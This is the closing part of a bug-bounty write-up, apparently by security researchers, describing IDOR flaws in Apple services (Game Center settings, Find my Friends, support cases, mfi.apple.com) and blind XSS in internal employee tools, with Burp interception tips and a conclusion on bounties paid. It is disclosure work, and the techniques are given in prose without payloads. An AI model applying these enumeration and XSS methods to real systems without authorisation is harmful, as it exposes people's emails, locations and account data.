<img loading="lazy" width="911" height="548" class="wp-image-1198" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/game_center.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/game_center.png 911w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/game_center-300x180.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/game_center-768x462.png 768w" sizes="(max-width: 911px) 100vw, 911px" />
</figure>
</div>
<p>
There was an "itemId" parameter being sent in the URL which was a numeric value that defined which app settings you were modifying. By modifying the number, we could access and modify the leader-boards of any app. This would allow an attacker to deface or remove entirely the game center settings from the app.
</p>
<div class="wp-block-image">
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>View and modify metadata of any apps on the app store
</li>
<li>Change data within any application's Game Center information page
</li>
</ul>
</div>
<h4>
iCloud Find my Friends IDOR
</h4>
<p>
The iCloud service has a functionality where parents can create and manage child accounts through their primarily Apple account. This behavior was super interesting because of the parent/child relationship and permission model within the application.
</p>
<div class="wp-block-image">
<figure class="aligncenter is-resized">
<img loading="lazy" src="https://i.imgur.com/vEsL71l.jpg" alt="" width="263" height="569" />
</figure>
</div>
<p>
If a parent created or added a child account they would have immediate access to perform certain actions against the sub-account like checking the location of the childs device, limiting device usage, and viewing stored photos and videos. The user management was primarily done through the iOS app which you werent able to intercept without finding an SSL pinning bypass, so we decided to look at the other applications like Find my Friends and Photos which integrated sub-functionality for the parent/child relationship.
</p>
<div class="wp-block-image">
<figure class="aligncenter is-resized">
<img loading="lazy" src="https://i.imgur.com/AFPQ142.jpg" alt="" width="292" height="255" />
</figure>
</div>
<p>
There were functionalities under “Find my Friends” where you could select your family members then click “Share My Location” and, since it was a trusted relationship between family members, immediately share your location with the family member without them having to accept the request and without the ability to remove your shared presence from their app. Luckily enough for us, this HTTP request to perform the action was interceptable and we could see what the arguments looked like.
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img loading="lazy" class="alignnone wp-image-1759" src="https://i.imgur.com/TYuiAJJ.png" alt="" width="898" height="463" />
</figure>
</div>
<p>
The “dsIds” JSON parameter was used as an array of user IDs to share your location. Within the HTTP response, the family members email was returned. I went ahead and modified this value to another users ID and to my surprise received their email.
</p>
<p>
This IDOR would allow us to enumerate the core identifier for Apple accounts to retrieve customer emails and irrevocably share our location with the victim user IDs in which we could send notifications and request access to their location. Since the parameter was sent via a JSON array, you could request hundreds of identifiers at a time and easily enumerate a massive amount of user IDs belonging to Apple customers.
</p>
<div class="wp-block-image">
<figure class="aligncenter is-resized">
<img loading="lazy" src="https://i.imgur.com/oAD5p2S.jpg" alt="" width="263" height="569" />
</figure>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Retrieve any Apple users email address via an incremental numeric identifier permanently tied to their account
</li>
<li>Associate the attacker's Apple account with the victim's so that the attacker can send them notifications, show their own location within the victim's phone, and not be deleted from their Find my Friends page
</li>
</ul>
</div>
<h4>
Support Case IDOR
</h4>
<p>
One of the more challenging parts of figuring out what to hack on was intercepting the iOS HTTP traffic. There were a lot of really interesting apps and APIs on the actual device, but many of the domains belonging to Apple were SSL pinned and none of us had a strong enough mobile background nor the significant amount of time required to pick apart the actual iOS device.
</p>
<p>
People have achieved this in the past and been able to intercept all of the HTTP traffic, but luckily for us, a huge portion of the traffic was still interceptable within various apps if you set up your proxy in a certain way.
</p>
<p>
The way in which we did this was setting up the Burp proxy, installing the certificate, then connecting to the WiFi which had the Burp Proxy enabled whenever we got to a page that we wanted to try to intercept. An example of this would be the failure to load the core App Store while proxying all HTTP requests, but ability to load the app store while not proxying, navigating to the correct sub-page you want to intercept, then enabling the proxy at that point.
</p>
<p>
This allowed us to capture many API calls for the Apple owned apps that were installed by default on the iPhone. One of these was a support app for scheduling support or speaking with a live chat agent.
</p>
<p>
From intercepting these, there were a few very obvious IDORs from multiple endpoints that would reveal metadata about support case details. You were able to retrieve information about the victims support case details (what support they had requested, their device serial number, their user ID) and additionally a token that appeared to be used when requesting live chat with support agents.
</p>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Leak support case metadata like device serial number and support information for all apple support cases
</li>
</ul>
<h4>
IDOR on mfi.apple.com
</h4>
<p>
Another application that we spent a lot of time on was “mfi.apple.com”. This service was designed for employees of companies that produced third party electronic accessories that interfaced with the iPhone to retrieve documentation and support for their manufacturing process.
</p>
<p>
After filling out the application, we observed an HTTP request being sent to “getReview.action” with a numeric ID parameter. We went ahead and incremented the parameter via minus one and observed we could access another company's application.
</p>
<p>
The application returned nearly every value provided for the company application including names, emails, addresses, and invitation keys which could be used to join the company. A simple estimate based on our most recent ID and the base ID indicated around 50,000 different retrievable applications through this vulnerability.
</p>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Leak the entire account information for anyone who has applied to use Apple's MFi portal
</li>
</ul>
</div>
<div id="vuln12" class="section">
<h2>
Various Blind XSS Vulnerabilities
</h2>
<p>
With nearly every application encountered we made sure to spray as many blind XSS payloads as possible. This lead to some very interesting vulnerabilities affecting applications like...
</p>
<ul>
<li>Employee session access within an internal app for managing Apple Maps address information
</li>
<li>Employee session access within an internal app for managing Apple Books publisher information
</li>
<li>Employee session access within an internal app for managing Apple Store and customer support tickets
</li>
</ul>
<p>
These findings were very typical blind XSS as we'd found them by submitting payloads within an address field, Apple Books book submission title, and lastly our first and last name.
</p>
<p>
The internal applications were very interesting and all appeared to have a comfortable level of access since they fired within the context of Apple employee management tools. We were able to act on the behalf of someone who was expected to be logged in from either a VPN or an on-site location to manage user and system information.
</p>
<p>
The following screenshots show the redacted panels that we were able to exfiltrate via HTML5 DOM screenshots through XSS hunter:
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="614" class="wp-image-1326" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/3-1024x614.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/3-1024x614.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/3-300x180.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/3-768x460.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/3.png 1462w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="671" class="wp-image-1327" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/2-1024x671.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/2-1024x671.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/2-300x197.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/2-768x504.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/2.png 1339w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="517" class="wp-image-1328" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/bookinfo-1024x517.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/bookinfo-1024x517.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/bookinfo-300x151.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/bookinfo-768x388.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/bookinfo-1536x775.png 1536w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/bookinfo-1600x808.png 1600w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/bookinfo.png 1702w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="667" class="wp-image-1329" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/1-1024x667.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/1-1024x667.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/1-300x196.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/1-768x501.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/09/1.png 1341w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<p>
Since the applications were internal and we weren't actual attackers we stopped here at each finding. These applications would've allowed an attacker to at the very least exfiltrate a large amount of sensitive information regarding internal Apple logistics and employees/users.
</p>
</div>
<h2>
Conclusion
</h2>
<p>
When we first started this project we had no idea we'd spend a little bit over three months working towards it's completion. This was originally meant to be a side project that we'd work on every once in a while, but with all of the extra free time with the pandemic we each ended up putting a few hundred hours into it.
</p>
<p>
Overall, Apple was very responsive to our reports. The turn around for our more critical reports was only four hours between time of submission and time of remediation.
</p>
<p>
Since no-one really knew much about their bug bounty program, we were pretty much going into unchartered territory with such a large time investment. Apple has had an interesting history working with security researchers, but it appears that their vulnerability disclosure program is a massive step in the right direction to working with hackers in securing assets and allowing those interested to find and report vulnerabilities.
</p>
<p>
Writing this blog post has been an interesting process as we were a bit unsure how to actually go about doing it. To be honest, each bug we found could've probably been turned into a full writeup with how much random information there was. The authentication system Apple uses was fairly complex and to reference it with 1-2 sentences felt as if we were cheating someone out of information. The same thing could be said about many elements within Apple's infrastructure like iCloud, the Apple store, and the Developer platform.
</p>
<p>
As of now, October 8th, we have received 32 payments totaling $288,500 for various vulnerabilities.
</p>
<p>
However, it appears that Apple does payments in batches and will likely pay for more of the issues in the following months.
</p>
<p>
We've obtained permission from the Apple security team (product-security@apple.com) to publish this and are doing so under their discretion. All of the vulnerabilities disclosed here have been fixed and re-tested. Please do not disclose information pertaining to Apple's security without their permission.
</p>
<h2>
Supporting Resources
</h2>
<ul>
<li>
<a href="https://developer.apple.com/security-bounty">https://developer.apple.com/security-bounty</a> - Apple Security Bounty Information Page
</li>
<li>
<a href="https://support.apple.com/en-us/HT201536">https://support.apple.com/en-us/HT201536</a> - Apple Web Security Notifications
</li>
<li>
<a href="https://support.apple.com/en-us/HT201222">https://support.apple.com/en-us/HT201222</a> - Apple Security Updates
</li>
<li>
<a href="http://lists.apple.com/mailman/listinfo/security-announce/">http://lists.apple.com/mailman/listinfo/security-announce/</a> - Apple Security Mailing List
</li>
</ul>
<h2>
Addendum
</h2>
<p>
Huge thanks to the following people:
</p>
<ul>
<li>Kane Gamble
</li>
<li>Nick Wright (<a href="https://twitter.com/FaIIenGhouI">@FaIIenGhouI</a>) for the cover photo
</li>
<li>Jack Cable
</li>
<li>Dan Ritter
</li>
<li>Nathanial Lattimer
</li>
<li>Jasraj Bedi
</li>
<li>Justin Rhinehart
</li>
<li>Everyone on the Apple product security team who have been incredibly responsive and involved with our submissions
</li>
</ul>
<p>
If you made it this far, thanks for reading! Feel free to reach out with any questions or comments at admin(at)samcurry.net or using the contact form.
</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div><!-- .entry-content -->
<footer class="entry-footer">
<div class="entry-footer-right"></div>
</footer><!-- .entry-footer -->
</article><!-- #post-## -->
<nav class="navigation post-navigation" role="navigation" aria-label="Posts">
<h2 class="screen-reader-text">
Post navigation
</h2>
<div class="nav-links">
<div class="nav-previous">
<a href="https://samcurry.net/hacking-starbucks/" rel="prev">← Hacking Starbucks and Accessing Nearly 100 Million Customer Records</a>
</div>
</div>
</nav>
</main><!-- #main -->
</div><!-- #primary -->
<div id="secondary" class="widget-area" role="complementary">
<aside id="search-2" class="widget widget_search">
<form role="search" method="get" class="search-form" action="https://samcurry.net/">
<label><span class="screen-reader-text">Search for:</span> <input type="search" class="search-field" placeholder="Search …" value="" name="s" /></label>
</form>
</aside>
<aside id="recent-posts-2" class="widget widget_recent_entries">
<h4 class="widget-title">
Recent Posts
</h4>
<ul>
<li>
<a href="https://samcurry.net/hacking-apple/" aria-current="page">We Hacked Apple for 3 Months: Heres What We Found</a>
</li>
<li>
<a href="https://samcurry.net/hacking-starbucks/">Hacking Starbucks and Accessing Nearly 100 Million Customer Records</a>
</li>
<li>
<a href="https://samcurry.net/dont-force-yourself-to-become-a-bug-bounty-hunter/">Dont Force Yourself to Become a Bug Bounty Hunter</a>
</li>
</ul>
</aside>
<aside id="archives-2" class="widget widget_archive">
<h4 class="widget-title">
Archives
</h4>
<ul>
<li>
<a href="https://samcurry.net/2020/10/">October 2020</a>
</li>
<li>
<a href="https://samcurry.net/2020/06/">June 2020</a>
</li>
<li>
<a href="https://samcurry.net/2020/05/">May 2020</a>
</li>
<li>
<a href="https://samcurry.net/2020/04/">April 2020</a>
</li>
<li>
<a href="https://samcurry.net/2019/11/">November 2019</a>
</li>
<li>
<a href="https://samcurry.net/2019/07/">July 2019</a>
</li>
<li>
<a href="https://samcurry.net/2018/12/">December 2018</a>
</li>
<li>
<a href="https://samcurry.net/2018/07/">July 2018</a>
</li>
<li>
<a href="https://samcurry.net/2018/05/">May 2018</a>
</li>
<li>
<a href="https://samcurry.net/2017/11/">November 2017</a>
</li>
<li>
<a href="https://samcurry.net/2017/08/">August 2017</a>
</li>
<li>
<a href="https://samcurry.net/2017/06/">June 2017</a>
</li>
<li>
<a href="https://samcurry.net/2017/05/">May 2017</a>
</li>
</ul>
</aside>
</div><!-- #secondary -->
</div><!-- #content -->
<footer id="colophon" class="site-footer">
<div class="site-footer-inner"></div><!-- .site-footer-inner -->
</footer><!-- #colophon -->
<div class="site-info-wrapper">
<div class="site-info">
<div class="site-info-inner">
<div class="site-info-text"></div>
</div><!-- .site-info-inner -->
</div><!-- .site-info -->
</div><!-- .site-info-wrapper -->
</div><!-- #page -->
<script type="text/javascript" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/bb-plugin/cache/1139-layout.js?ver=0a37cac10ee7700429bd8ba73eb4eda6&amp;time=1611808572" id="fl-builder-layout-1139-js"></script>
<script type="text/javascript" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/themes/primer/assets/js/navigation.min.js?ver=1.7.0&amp;time=1611808572" id="primer-navigation-js"></script>
<script type="text/javascript" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/themes/primer/assets/js/skip-link-focus-fix.min.js?ver=1.7.0&amp;time=1611808572" id="primer-skip-link-focus-fix-js"></script>
<script type="text/javascript" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-includes/js/wp-embed.min.js?ver=5.6&amp;time=1611808572" id="wp-embed-js"></script>
<script type="text/javascript" id="slb_context">
/* <![CDATA[ */if ( !!window.jQuery ) {(function($){$(document).ready(function(){if ( !!window.SLB ) { {$.extend(SLB, {"context":["public","user_guest"]});} }})})(jQuery);}/* ]]> */
</script>
</body>
</html>